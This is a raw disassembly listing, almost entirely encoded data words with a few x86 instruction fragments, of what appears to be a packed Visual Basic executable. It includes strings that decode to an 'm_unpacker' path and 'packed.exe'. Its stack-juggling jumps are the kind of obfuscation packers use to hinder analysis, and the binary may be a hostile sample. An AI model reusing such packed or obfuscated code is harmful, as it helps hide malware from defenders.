107725CAh, 0FEBE0ED1h, 0AE000000h, 5DC4D22h dd 525EA071h, 0EFBA918Fh, 5AA7CA27h, 0BEC09997h, 50522F3Fh dd 6433BEC3h, 286900BEh, 8F926FA5h, 6EB20500h, 0C358D463h dd 3B869634h, 0A43DEBF6h, 8D9A965Fh, 40452CF6h, 0FAD38ACDh dd 8D902AB7h, 3BC37984h, 8C965BA6h, 295AFAA7h, 5FB9E1FAh dd 1C75D16Ch, 0D9AD078Eh, 1CF79792h, 28A486A3h, 0BEC60053h dd 6CDB2F2Bh, 0F444040Eh, 0EE4A6D64h, 90F9D9ACh, 0D9ACEDC5h dd 0AC7BDE45h, 0AE681F66h, 0F39FDFD1h, 3D73DFDDh, 55E22006h dd 0E5EC7CCEh, 0DFD0D2D2h, 9B4BCB56h, 55F1F806h, 31B4C6C8h dd 216921C2h, 993F01DCh, 73BA101Bh, 1DBDFBDh, 3A450000h dd 0A16EBB3h, 0DADA27C7h, 0A3E27F0Fh, 65A9B456h, 3A03C664h dd 4A10D925h, 805AABF7h, 0DF6F76BDh, 0E8B23F42h, 0BA9DF454h dd 7ECD6276h, 0D7AA2590h, 461B3BCEh, 815B138h, 0D626C409h dd 4E0188BAh, 888AF9A9h, 7370D1B5h, 0D1F4E2EBh, 0E934D9ACh dd 0D2835233h, 0A3F4D9ACh, 11289619h, 0CB870ED1h, 26220EEh dd 8967AFB6h, 0EBh, 5DA0E07Dh, 5AA77CF1h, 0BEC09997h, 879C013Fh dd 0B1D38ACCh, 6791DE70h, 0B9731601h, 0C18818E2h, 0D38B64F6h dd 0D8B25C3Ah, 8648D56Ch, 6BFB2BEBh, 0CB418896h, 0F63BD67Ch dd 6DD23DEBh, 8E1EEE7Ch, 8B11F4C7h, 10E934D3h, 0FA51CF0Eh dd 20BB7158h, 0A07FD9ADh, 67B70A1Ah, 2195A029h, 8E95D9ADh dd 24EE45F3h, 0E54162DFh, 21597C15h, 42D9D9ADh, 3B4900C0h dd 0FFDFD1DEh, 3747DA20h, 88C454B6h, 61F389DFh, 2C0F542Bh dd 0ECDFD2ADh, 2D3DED31h, 978D5050h, 0B7C79AB8h, 8F52CE36h dd 0B66CBA11h, 0C820h, 8C4D5200h, 0D01D63FEh, 18ED370Ah dd 23B6FF42h, 7178869Bh, 302F30D5h, 0C25FEFEEh, 889531C0h dd 5DA07A8Bh, 21FD8954h, 75A5B0D9h, 8D65CD62h, 9657A730h dd 0E72869F4h, 0DD9579Ah, 8AC87144h, 0DF6AB1D3h, 0A7877A00h dd 0A6B1D85Ah, 6AD38AC7h, 5D34E0BFh, 0D8F73A54h, 0DD762A93h dd 32EF6406h, 17A22B73h, 0A4FC5E37h, 0E13CD9B2h, 3D535E2Bh dd 9A89FCCFh, 0D4760D12h, 0A1854849h, 40ED7DCh, 87FE926Ah dd 0A473DB7Fh, 2DB49Eh, 1E3A44Ah, 858CE892h, 525FA278h dd 0BDF8918Fh, 3611FC28h, 1CE1208Ch, 23AEF34Eh, 878C11F5h dd 6D75C27Eh, 2762E726h, 0A4321042h, 0Dh, 0B3DAAADDh, 0D38AC7A8h dd 0BB91BD68h, 9158A7C6h, 3EC3CE9Bh, 0A52C7702h, 4190926Fh dd 0E9F03ECBh, 9158A633h, 32C7CE9Bh, 0DC296B06h, 7A878960h dd 86858CEh, 8900007Ch, 168242Ch, 8900004Fh, 6268240Ch dd 8900002Dh dd 0BA52242Ch, 62844A2h, 24348152h, 4F896AB1h, 0B1F18159h dd 5A4F896Ah, 242C8B54h, 5104C483h, 0B8243481h, 8F73DC1Dh dd 0B9510845h, 8, 3181E901h, 73DC1DB8h, 242C8B59h, 81E28952h dd 4C2h, 4C28100h, 87000000h, 8B5C2414h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_50F6C5 ; --------------------------------------------------------------------------- db 27h dd 76FEB642h, 877A4C9Bh, 0E498FF48h, 53E2B8EAh, 0C5030628h dd 0EEF8E0FFh, 2A0B2DE0h, 0CCB6129Ch, 0CE5516B5h, 0E1F93771h dd 71F5489Eh, 0E71F7DE1h, 3353765h, 932B19CEh, 33E92FA3h dd 4115015Bh, 0C1991F4Ch, 0ACC8018Fh, 0F1607CEAh, 0C8913A15h dd 0EEA23647h, 0D40B4E04h, 8AF05FE9h, 20E9218Ah, 2D000000h dd 12A150h, 6 dup(0) dd 0E9000000h, 5DEh, 3A55EE9Fh, 0AEB986F5h, 0C6211E61h dd 7C97B0D9h, 95FC4B33h, 0F49AD395h, 87F33C57h, 186051B8h dd 0B1DBC42Fh, 0E3F47F96h, 126FE109h, 0A67E1441h, 0E93A0577h dd 0BC3E1BECh, 0B801F6A0h, 1C315D64h, 0EF9CD572h, 0A1E00350h dd 3F4B48h, 69A6B3DCh, 0E7602920h, 0E83477B6h, 18EBBC1h dd 93D21142h, 83080542h, 2B5198C4h, 1A92F710h, 473A37CEh dd 31548823h, 0CCBE8FFCh, 79EF3C7Fh, 0D4731B18h, 0ED47A188h dd 444DA49Fh, 0BFE00B34h, 840970C9h, 5F08EBB4h, 0CD1E51C3h dd 4BD41714h, 0C706DA82h, 701A5784h, 0C78A82D3h, 4AF583A1h dd 0BB8EFE23h, 0E63776D1h, 3A5E0556h, 2444AD47h, 0A09FEB28h dd 28EC3073h, 51F37735h, 8180h, 95E63300h, 5FDA6AB6h, 0C3112A52h dd 0C6DD6A6h, 0F550ABBBh, 0C3117AF5h, 3EDCEABAh, 0B4C5473Ah dd 66155A8Bh, 68E1A8D9h, 0B0E52423h, 0E233107Bh, 44A4ADC3h dd 8DEB16EEh, 0F3D7077Ah, 6B111E51h, 1818CD0h, 89000000h dd 8B610477h, 473A3B7Fh, 8BD81B92h, 0D3A414Eh, 3A479DD8h dd 8CA1F251h, 671142FDh, 0E00BA162h, 0E895B2DDh, 7DA3606Dh dd 0CBB074F4h, 602C157Ch, 6EAB8CE7h, 0B3F22320h, 777D16Dh dd 0B5C6EB38h, 3BACFCB0h, 399473Ah, 473A3BF7h, 0FAE931Ah dd 0DF589FCCh, 0DE4EB399h, 473A3B8Ah, 0E9104C6Fh, 3441A6A5h dd 8FAEFF48h, 9B6903F6h, 4B8998B1h, 0EC750708h, 3A19E830h dd 0DEA00D47h, 0BEF13C61h, 0EC292E7Fh, 1370A5A2h, 3A197199h dd 0D609A447h, 2D206F8Ah, 1389EE5Dh, 473A19C7h, 1340832Ah dd 1D34B43Dh, 51F3B770h, 8565h, 777AD00h, 0A1EEEB38h, 0D83D6EDDh dd 3A3B3444h, 93D2D947h, 0EC5B244Dh, 340972BFh, 94B9F847h dd 3B6DBD6Fh, 2D80473Ah, 7AAB94E4h, 998DEB16h, 42E206D3h dd 0BBE40F3Ch, 222774D3h, 0A8B1CA61h, 0B4E80736h, 1243FC8Dh dd 4C91AEDDh, 0B3E05F2Fh, 40CC2CC5h, 3A349CACh, 0FB3A7147h dd 54CAC55h, 51F3CA58h, 2C1B64B1h, 773BCFFh, 94C8EB38h dd 3E89h, 7779100h, 0B2C6EB38h, 270A4489h, 2C1B63C1h, 47749C5h dd 0A4D52247h, 2724569Bh, 5C69B7F6h, 3A3B7F80h, 0CE2AD747h dd 0F3DBC6BBh, 0D1351h, 3D860000h, 4B467C68h, 8BB8C731h dd 77781448h, 0F9DE3B08h, 3A3B1723h, 6DB3FA47h, 0D0691358h dd 0C5190AFh, 7DAE99EFh, 0AFFC4B30h, 1C4EFD82h, 0F953D711h dd 1F1CF008h, 638ED26Dh, 4793091Ch, 0AA473A3Bh, 57A9C003h dd 7A32579Ch, 49184869h, 6166B706h, 0B4D96614h, 7E0E2B69h dd 0AD7FA4C5h, 4118289Dh, 0FCE73D70h, 2D7EC9B3h, 1828499Fh dd 88E04D41h, 4164C384h, 43EAD14Eh, 9FA8D41Dh, 8414B74h dd 5586B986h, 0AECB7418h, 33C4C49h, 0B9C193D2h, 5C411848h dd 4895A577h, 35784118h, 589FAEF2h, 0F19B99DFh, 97E43156h dd 0CB6B74A8h, 4BD16896h, 18523h, 0AB58EB00h, 65DE0364h dd 0C3533CADh, 5FE937E0h, 491843E0h, 0C17E000Dh, 6438519Ch dd 4118A054h, 73AEF2B9h, 0B6C6EB38h, 4F3D628Dh, 0F48693F4h dd 0B9E70657h, 0B83D4F6Ch, 0FE8CF1ECh, 4819B441h, 3C0772BFh dd 6889A8FDh, 0B0E55E2Bh, 0A6C22F75h, 2A45FE8Eh, 0D18B5508h dd 44604Bh, 58AE0000h, 85D547A8h, 68473A3Bh, 0BD6DEBFFh dd 0B4F7D75Fh, 90981475h, 8511738Dh, 0A7F45338h, 63244584h dd 33A0E4CEh, 86A7FD10h, 3AA3A2F6h, 1B5D84C7h, 96F33A36h dd 73F41206h, 5DB40791h, 0E586h, 0AB586C00h, 0C6690364h dd 3749183Dh, 1744FF8Ah, 4293B0DAh, 7CA1E023h, 0D56E1A17h dd 35D0F8B4h, 76454118h, 787D0F2Ah, 0F2EF243Bh, 84EF2E07h dd 556F19Bh, 182BDA77h, 0F7543B41h, 460589A6h, 1068C515h dd 0A88DC81Ah, 182AA4F4h, 99624941h, 0CDFAA89h, 31386484h dd 305855B7h, 0B42F7B31h, 0EBC24118h, 0E4387BA8h, 7394AFDDh dd 0AAF65526h, 3B4350A9h, 0B426722Ah, 0E0CB4118h, 6BDDD4A1h dd 0B7B5A781h, 2F746F69h, 82C1CDCAh, 9C613B5Eh, 7D4F00B8h dd 0ABE8ED3Eh, 0F43D63E0h, 0A66EBF88h, 0F64FBD3Bh, 9B114E0Dh dd 4B716D4Fh, 44720BA2h, 202A7668h, 118BEC33h, 4569F60Ch dd 815C4C35h, 0D95B3D70h, 74019BADh, 6F142DF2h, 4ADBB531h dd 0C772AE61h, 7FBC9DF4h, 0E8ED3E09h, 4ED0E434h, 63A20955h dd 525F613Dh, 0AECD1E2Dh, 246B1872h, 0D29502C3h, 0D8E20C1Dh dd 76C75584h, 2749226Dh, 0F5024794h, 5960BC87h, 0B0E10833h dd 191673CCh, 6580D572h, 85EEE3Fh, 0AA3CE9FFh, 0D623294Fh dd 2A499AA9h, 86C1CBF6h, 0E15A226Fh, 47048B88h, 3E87CC19h dd 3C497861h, 456CB09Dh, 0C8730534h, 58237089h, 257BBAEBh dd 23450C00h, 28C429h, 0F55D8B1Ch, 2D5F9AC6h, 0C6B6FB12h dd 6F1F1C7Dh, 3C6083D0h, 316E9h, 0CBFC0000h, 3D067773h dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8952696Fh, 4C281E2h dd 83000000h, 148704EAh, 24248B24h, 2DE468h, 243C8900h dd 784F68h, 24048900h, 54E8BD55h, 0EF890628h, 81242C8Bh dd 4C4h, 4EC8300h, 81242489h, 42404h, 81580000h, 4ECh dd 243C8900h, 0D0242C81h, 8F2FA254h, 40810840h, 0A254D008h dd 24048B2Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- db 19h dd 75D27C18h, 36B83D69h, 306285Ah, 0BFE0FFC5h, 0CB4BFD5Bh dd 7509A8DDh, 6845E3CFh, 4919CD10h, 460DBD38h, 0BE08C932h dd 0AF5B43F5h, 7F4F1C1Ch, 6846F699h, 730B5C3Eh, 9E2C2002h dd 0C669122Ch, 0A44BD395h, 0F167996Fh, 1B4D3254h, 0D313BE77h dd 4424D479h, 81477B96h, 20492C04h, 0A9722B3Ch, 0EB73CA30h dd 586DBA7Fh, 0E95CDB42h, 0E85F11A8h, 6, 0AC8A597Eh, 0E95BB616h dd 0Bh, 6E71A32Ch, 0FC3159E7h, 81C16C64h, 6883C3h, 12E800h dd 0C1490000h, 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h dd 0D353BA60h, 5861210Ah, 0BAh, 13348B00h, 81CFB70Fh, 890F8EEh dd 1D810F0Eh, 0E8000000h, 13h, 0CE700995h, 0E335F5Bh, 47FCDA4Eh dd 0FF728BC5h, 66CE0582h, 5F0BE1BFh, 0D0F1C681h, 72B4214Bh dd 6B07F681h, 81664561h, 567D71D9h, 8FF88B66h, 0FFC1304h dd 0EA81F9BFh, 72A8589h, 5D97C881h, 0C2813854h, 72A8585h dd 14E8h, 93543700h, 0AA59DEF7h, 39BC6D50h, 0B92185E4h dd 0C1532D40h, 8158F8FDh, 0FF9888FAh, 1C850FFFh, 0E9000000h dd 5, 68493202h, 39E9ADh, 0DE880000h, 8FECE0E4h, 17FC8A09h dd 0FD79C37h, 178Dh, 0FE800h, 0A7A30000h, 210CF12Fh, 0F8B6042h dd 1079F981h, 595852BBh, 0FFFF3CE9h, 0FCE655FFh, 0F79C57D3h dd 0E824E841h, 0Ah, 0F1E1F080h, 4D30CF2Eh, 0FB8BF9D0h dd 0C381FC5Bh, 598Eh, 163A68h, 0BFE08100h, 59185454h, 7E8h dd 0F3E88600h, 0DBF7666Ch, 7DF8166h, 138B58C0h, 13E8h dd 0C3109100h, 14031B01h, 38605904h, 8A7D6839h, 0FC5AA7E8h dd 0CCDBE681h, 815F1913h, 635F5CF2h, 0D5C28127h, 811FA418h dd 0C4B028F2h, 52C18B05h, 8FC3BF0Fh, 0F38B6603h, 0B401EB83h dd 4B4B4B94h, 13E8h, 0CF620500h, 9A1C4D44h, 4BDA477Bh dd 5C9D5E31h, 373EDF12h, 911837B8h, 0E9815E72h, 1, 0FF90850Fh dd 810FFFFFh, 2, 8D8DF18Bh, 6285DAFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 9AC35646h, 23F50049h, 2216299Dh dd 0F18D8906h, 60062233h, 14859D89h, 0BE660622h, 0C7612457h dd 222D3185h, 6AA806h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 85C74582h, 62230E5h, 0 dd 11E9h, 0B1C43900h, 61236A52h, 3A6EDA50h, 0A8DC299Ah dd 0B5FF9201h, 6221311h, 28F1BD31h, 95FF0622h, 6222065h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 42C35040h dd 0DA8BCC69h, 95FF006Ah, 6223075h, 4BEBC08Bh, 0D2C6A41Dh dd 0DDCB47h, 2BC1F979h, 0ED2ADD05h, 24D6B4AFh, 0B28B8556h dd 6EEF3886h, 0A9D1EEF5h, 0BFA1F12Ah, 0D3D15803h, 61978FDAh dd 0BAE0623Ch, 0E3BD284Ah, 38A83DE9h, 355F8D31h, 0E6AB166Bh dd 3A6BB97Ah, 197E4175h, 8D04EDB1h, 285EAD8Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0CFA0D524h, 20640012h, 33F18D89h, 95890622h, 6223245h dd 2D3185C7h, 71A80622h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 23FFD9C3h, 6686E564h dd 0C715A7BFh, 2230E585h, 6, 18C88100h, 0FF455178h, 2201E5B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 6056C79Bh, 6079D280h, 0FF5B6161h, 22206595h dd 6AF506h, 307595FFh, 0C08B0622h, 0D13B19EBh, 0BEF46EECh dd 6643FE4Dh, 0B529851Ch, 3117A6E7h, 22233D72h, 0E8CDDD66h dd 14h, 4410FCDDh, 0BD6273ECh, 181885E5h, 7D1CBE35h, 1ADB6C56h dd 5B7AE080h, 5B1B589h, 0C3810622h, 6DABh, 20F5958Bh, 0B90622h dd 0E9000000h, 0Bh, 31281E1Bh, 11A7459Dh, 0FFEAB36Dh, 0B70F1934h dd 0DE95FF3h, 0B9000000h, 739D3F39h, 6F7F8CBDh, 2EFAD41Eh dd 6683EF81h, 0B5897D0Fh, 6222081h, 0BE5CEF81h, 89561A82h dd 22260985h, 0C7815A06h, 2DB7D518h, 0B00B3C89h, 0D68B6627h dd 0E801E983h, 11h, 40CF3EA7h, 0AFE8C2E3h, 5019EFF9h, 0DA5F2C62h dd 58D38B73h, 66494949h, 0F981D78Bh, 0FFFF9320h, 0E850Fh dd 52B60000h, 1AE9h, 39B10D00h, 0B3B0D307h, 0FFD88166h dd 0FF79E9C1h, 0FF17FFFFh, 92804791h, 0E9B00C2Ah, 5, 1CC05EFDh dd 56CE900h, 0B4D90000h, 4C3F608Bh, 0E4AB94FFh, 76030C67h dd 117DA2CDh, 0DEFDB32h, 628DBAC4h, 97FE4D3Dh, 0A65DEAAh dd 0A5CC7705h, 3B4FDDBAh, 0DE411264h, 577E838h, 0BAC4E93Ah dd 4F3D628Dh, 0F68693F4h, 0B9F6174Dh, 8ADE4ED3h, 6F473A3Bh dd 0DF0C3742h, 0FD1A5D9Ch, 227EC9B0h, 0A8A5D61Bh, 0F62766E1h dd 0BB91D702h, 48B578CAh, 7EA2CC2Ch, 97FE4933h, 0A65DEAAh dd 9BC87305h, 0AA62857Eh, 84172AD8h, 0FC691158h, 3A241820h dd 7FBEFD47h, 0FD7BE62Eh, 94F85127h, 20F68ABh, 7093C17Ah dd 0DA059E67h, 9CF05865h, 0CE533940h, 3A430A5Eh, 8DCCEF47h dd 0DA749B6Ch, 0E743ADEEh, 8FD06CB9h, 27473A77h, 0D5AE9EDAh dd 0BC2F5531h, 0D30ACEF1h, 56EB8378h, 0F875A1FFh, 1151F2FCh dd 0BAC27B04h, 33124E81h, 0A1h, 27525F1Bh, 0D3B9C01Ch dd 7C020F68h, 15F9ECFh, 3B0228E4h, 41B0473Ah, 0DB6DE027h dd 5F8451F3h, 3A37BDCDh, 0B41D1447h, 82D9FA41h, 63A2FEBDh dd 1, 490477ABh, 0B1D60740h, 3A3BAFFBh, 286B4247h, 7A5FA4E9h dd 3A3B96A2h, 0A1C9A347h, 54473A3Bh, 39F3D859h, 473A3B11h dd 2A76A904h, 72757C0Fh, 0AA8D28FEh, 22762643h, 0D7473A08h dd 3B70A5E4h, 0B691FB4Eh, 0D6074665h, 73B13722h, 0C7D03B08h dd 0E38C1CAh, 37F71AF0h, 234E92D5h, 454C859h, 0E9473A7Bh dd 296683C2h, 57B8E45Fh, 2DE65FFFh, 0FB2ACDD6h, 533B469Ah dd 18AA7F4h, 0B3DC1142h, 559E4794h, 52B79515h, 1E2D529Fh dd 38B0BDCDh, 3EBAB7F2h, 0D3A598E6h, 0D1DE2968h, 2E4390ABh dd 0A7A0EC61h, 5AD23776h, 473AE10Eh, 4489C8E3h, 0B4D96217h dd 0FB281767h, 0E1FA0E9Eh, 9C1F473Ah, 0B498D059h, 3AE1D0F8h dd 37764547h, 0BBCFB819h, 0F25139FFh, 0D443309h, 3A764B9Fh dd 0CC0FAE47h, 384FA990h, 51F38D55h, 7980h, 7778E00h, 0B8FB4836h dd 439466Bh, 598ACD7Ah, 0A6D36A14h, 0EA2D489Dh, 3C0B74B9h dd 294FC8EFh, 7EFA7705h, 4FF8818Eh, 0E692DF1Eh, 0B7ED085Dh dd 2C47048Ah, 128A9BE3h, 473A3BC6h, 0A2F6A62Bh, 57473A3Bh dd 0B1E22564h, 0E1320D7Ch, 346A22Fh, 51F3D95Eh, 427Bh dd 777A300h, 0B2C6EB38h, 270A4489h, 2C1B63C1h, 6013F4C5h dd 10FF2F2h, 0F218403Dh, 0BB9AED1Ch, 477C965h, 8CF11647h dd 3A3BC810h, 528E2D47h, 3A3B6788h, 0C622CF47h, 0F3DBCE83h dd 1EB51h, 77330000h, 65DE3B08h, 0CEAC30h, 42BBC8DBh, 0B759BB8Fh dd 0F81D2874h, 0D9F11993h, 8924473Ah, 0E55E2E4Bh, 443D9CB0h dd 8AC45CF8h, 69D00CFAh, 0D36A150Fh, 31589BA8h, 9DE1342Fh dd 920A6FAEh, 4918CB01h, 519ECFEEh, 0C8F9102Bh, 9A2A7BC4h dd 4118AD4Ch, 0A183E548h, 300960DBh, 0DEB3FC57h, 0E5B70D43h dd 41182CD5h, 0EE327538h, 698EB9C3h, 0B1E25D2Ch, 0F1300F7Ch dd 2273CCB0h, 6388DD03h, 0BAFD2E19h, 93F93BBDh, 2CCA1E8Eh dd 8C2F4118h, 0A0EF2C4Dh, 0C0127DA3h, 4BD1C48Dh, 0E528h dd 0AB58F600h, 0AA690364h, 9B49182Ah, 0CEBAF710h, 0F4533C75h dd 0D5884A7h, 48A39CE0h, 4049966Fh, 14E42891h, 60DBA1C8h dd 0BB8EFE33h, 32273D0h, 0DB5493C0h, 4AF5879Dh, 6F5E1323h dd 377B4BD1h, 0A3000000h, 88DFE65Fh, 4729259Fh, 14E10361h dd 538117A7h, 0E7004739h, 73F30535h, 90C5E811h, 3AA4B4C4h dd 294F8AC7h, 84E52C24h, 73F320E8h, 4FA61591h, 6D90h, 0AB584200h dd 0C6690364h, 3749183Dh, 721A5784h, 488BB8C7h, 0B38CF021h dd 9193ED56h, 0F885C2CDh, 0EE32901Ch, 0A3040DDFh, 75F84118h dd 0F04B31F3h, 87CC8799h, 95DE8A62h, 0C2334F00h, 5ED91AD9h dd 40479h, 11C37FB8h, 214E9FDEh, 0A09BEE5Bh, 69183C61h dd 0FA493A0Fh, 0C05B0F9Dh, 0F1BE4568h, 4A69BA89h, 3BF9DDB1h dd 2160ECC8h, 0AB584CC6h, 0D1DE0364h, 50EB9EABh, 7CA1E003h dd 9159E331h, 8449220Ch, 0C5B7E429h, 5E2E137Ah, 65A4A3EBh dd 0B982F704h, 14B2429Bh, 0D2A4A50h, 5D92C37Ch, 0D16E1C31h dd 0FD2E618Ch, 0A0F40498h, 9219662Ah, 39ED0BE6h, 0CA42A6B3h dd 5283BCCDh, 0D8A4CD13h, 0E633046Fh, 4665B695h, 92ADDF1Ah dd 4C9C1075h, 0A1662AA0h, 7AB7D60Ah, 0F2513A0Fh, 0B76582A1h dd 662AA063h, 0B7E42796h, 9094D49Dh, 0F73853ECh, 6C69BA85h dd 0BEEF5C2Fh, 3CA217Fh, 38000000h, 67773CBh, 0B9C3E83Dh dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh, 27529FCCh dd 0DDA2CF1Ch, 8BF03D6Eh, 57696FBCh, 0BA52E789h, 4, 835AD701h dd 3C8704EFh, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h dd 243C895Ch, 5F3C68h, 24148900h, 306168h, 24148900h, 8F3FBBBAh dd 9F69BF62h, 0D72968B7h, 4EC815Ah, 89000000h, 4812424h dd 424h, 81575A00h, 0EAD242Ch, 428F147Ah, 0ADBD5508h, 1147A0Eh dd 0FF5D086Ah, 835A2434h, 3C8B04C4h, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 1DD1E95Ch, 50EBFFFAh, 53937064h dd 87B8D3EFh, 3062864h, 2CE0FFC5h, 317D4B01h, 0F962650Ch dd 4935B0D5h, 0A55C2ACDh, 817E8FD1h, 0B74E1C89h, 0A701B4ABh dd 737BBA59h, 0CF5E8BBDh, 0AF5DB57Dh, 6669EE9h, 2D4701E0h dd 89529FA6h, 0CA0C2D29h, 136114FEh dd 0DF4AFC44h, 4955FE4Dh, 93168C3Fh, 9A6EFAE7h, 284C4888h dd 6D5AC7EFh, 0C4271FDCh, 0A57FC9A4h, 9E0EC6A0h, 0C0606096h dd 0AA4F7293h, 0E928D3D3h, 176h, 35CC5363h, 77E705C5h dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h dd 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 6 dup(0) dd 6E90000h, 6800001Dh, 6286941h, 0FA1BCAE9h, 6A2168FFh dd 0C0E90628h, 68FFFA1Bh, 6286B32h, 0FA1BB6E9h, 6C1668FFh dd 0ACE90628h, 68FFFA1Bh, 6286C55h, 0FA1BA2E9h, 6D3368FFh dd 98E90628h, 68FFFA1Bh, 6286D86h, 0FA1B8EE9h, 6DD968FFh dd 84E90628h, 68FFFA1Bh, 62875C4h, 0FA1B7AE9h, 765E68FFh dd 70E90628h, 68FFFA1Bh, 6287704h, 0FA1B66E9h, 77E968FFh dd 5CE90628h, 68FFFA1Bh, 628786Bh, 0FA1B52E9h, 793168FFh dd 48E90628h, 68FFFA1Bh, 62879FAh, 0FA1B3EE9h, 7AAD68FFh dd 34E90628h, 68FFFA1Bh, 628813Ah, 0FA1B2AE9h, 822E68FFh dd 20E90628h, 68FFFA1Bh, 62882CCh, 0FA1B16E9h, 68D3BAFFh dd 0DC6B1001h, 44038CB5h, 0AA95E42Dh, 13305E43h, 0A5EE8EF8h dd 1E036AD9h, 8BB4DF6Ch, 0E62B42FDh, 9B42AD96h, 5C1A2EFEh dd 5BFF4112h, 3A0577CBh, 8FB8C4E9h, 105F1464h, 43CE25F7h dd 0DCDF4918h, 654A8Fh, 18325C6Ch, 2AFAB141h, 4118321Eh dd 0C264B8F3h, 411832B2h, 3D6ED9AFh, 3B2B0744h, 0FC35DB95h dd 0FD66B790h, 4191B81Bh, 925F2D99h, 0F57CD056h, 34215C73h dd 3B784BD1h, 67AEF24Dh, 53h, 64AB58AFh, 3A4EDE03h, 0DF473A3Bh dd 6C5180DCh, 0B0EC5B2Fh, 1841E516h, 0AA319249h, 0F921E8D4h dd 0DC1F2851h, 0F1228980h, 0DC403394h, 40F1DC52h, 91DC013Eh dd 5478025Eh, 0AA411841h, 0CB86C92Fh, 224BD161h, 489DAAD5h dd 0AAED5623h, 0E9AF76h, 77770000h, 78801C05h, 9D473A3Bh dd 0C9BADF1Eh, 0B85BAD6Dh, 0B9CC10FBh, 0E83D0A74h, 698EB9C3h dd 0D25E632Ch, 0F07E9ABCh, 0A6C71D5Ch, 0D1380389h, 3A4C637Fh dd 0AD96E647h, 248C7542h, 0A103A807h, 2B78C7B3h, 6E8BC908h dd 93F0251Eh, 449F286h, 0A251BBD9h, 67603C5Dh, 3049187Bh dd 7D0951CBh, 0C1EC4118h, 7519A693h, 276685D6h, 0A8F7ECCCh dd 5E2D6A4Fh, 2371BCE1h, 3CEABE99h, 2B4C6F4Fh, 0FF0BE1C6h dd 124B7D3Eh, 523C459Bh, 0E9959AF5h, 0A0A3AC5Ah, 0E132EF93h dd 1A321Eh, 0FC473600h, 60DFAC95h, 0C8771809h, 3E0970A1h dd 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh, 70863E0h, 72BFD671h dd 2FD6310Ah, 5286D24Ah, 0A76B4112h, 3807777Fh, 9EADD2DFh dd 0ED5A204Dh, 0E63A7DB8h, 7FC8B4FDh, 4E420314h, 93DA6687h dd 5828C418h, 0DE0364ABh, 43F0BD65h, 77AD1A1Dh, 18E5A2D5h dd 0F3208B49h, 18941D21h, 266E341h, 0D12C92CFh, 1686EB4Bh dd 411898C2h, 0F5588437h, 0A4h, 3A05775Dh, 1BC164DDh, 810EF5BDh dd 99E50A53h, 0D7AB79AAh, 4A473A2Eh, 0A1EEF942h, 220760DBh dd 3A253E4Ah, 84D8D347h, 23706361h, 4E3D56C6h, 95FA4918h dd 1802F307h, 0F2992641h, 53CE1255h, 342F3158h, 7A128AEFh dd 0E74F3C96h, 1866B3D4h, 0AFDFC02Bh, 0AFD3E690h, 5D6EEF93h dd 1952C2h, 1C275600h, 80BFCCF5h, 0E8573869h, 5EE99081h dd 0C7840A37h, 519A5AACh, 0CAF71E2Dh, 276883C0h, 929FF651h dd 0CF3651EAh, 51A6F2AAh, 874B4112h, 0A27A5F9Fh, 473A3B96h dd 0C5EC307Bh, 3E638AB9h, 9AF54Eh, 0DD3A0577h, 3B1424F8h dd 0B2F9473Ah, 6A125F6Eh, 0ADA6B6D1h, 2E9D2068h, 0EE16BCB3h dd 0C92E61A0h, 5380BFCCh, 1F8DCC10h, 49183488h, 4F1D4E6Dh dd 4118AC3Fh, 0BCE15A22h, 0EC310A7Fh, 0EB3FB928h, 355C9C45h dd 4BD14138h, 8374451h, 0DB49D4h, 5FD10000h, 0C71D2652h dd 857ED31Eh, 371006AAh, 59EDA39Ah, 56284A07h, 0D48FC917h dd 612D6A8Fh, 2E72B1E2h, 1926712Bh, 20F4918h, 9891CF7Ch dd 45A37115h, 947CF2F0h, 657F487h, 0A45FB9E7h, 19623A5Fh dd 693A519h, 374552B7h, 409CDF0Ch, 0E72C2725h, 0DC68EA82h dd 0C2E9A9C3h, 778740A5h, 0A463C139h, 65B695E5h, 90D90746h dd 0F73853ECh, 0EFCCBA85h, 7E14D5F9h, 1841D22Dh, 38450000h dd 0D0BBE40Fh, 68171873h, 0FA8FB0DBh, 95F92641h, 896B5FB6h dd 0E6013E40h, 1B72D1B9h, 8ED96216h, 2940FB81h, 0B7C3593Eh dd 5A411250h, 5776CB4h, 0BDFC4B34h, 28776C68h, 1785EACFh dd 473A3BC3h, 0CB273D36h, 71767505h, 7358E23Eh, 0FC49184Dh dd 1BF50597h, 95184118h, 0B0DBD24Fh, 8106D31Ah, 801C0574h dd 473A3B78h, 8EDF1E9Dh, 2C27316Fh, 3B1F2BC1h, 0BBF2473Ah dd 493A1F78h, 3FE0F9E2h, 8BDF8132h, 6E473A81h, 8167B369h dd 238A473Ah, 0CF5DBCE0h, 491892B4h, 0E2B05259h, 0CC009C18h dd 51B6FDF6h, 53FDC0DBh, 0DD0EADC4h, 0E71C4BFh, 0B499FE31h dd 0E9371467h, 72E1BD5Fh, 0F009A4DAh, 42018E8Bh, 9EA9D31Eh dd 6F3D6277h, 0DEA9B65Bh, 98A1FFBEh, 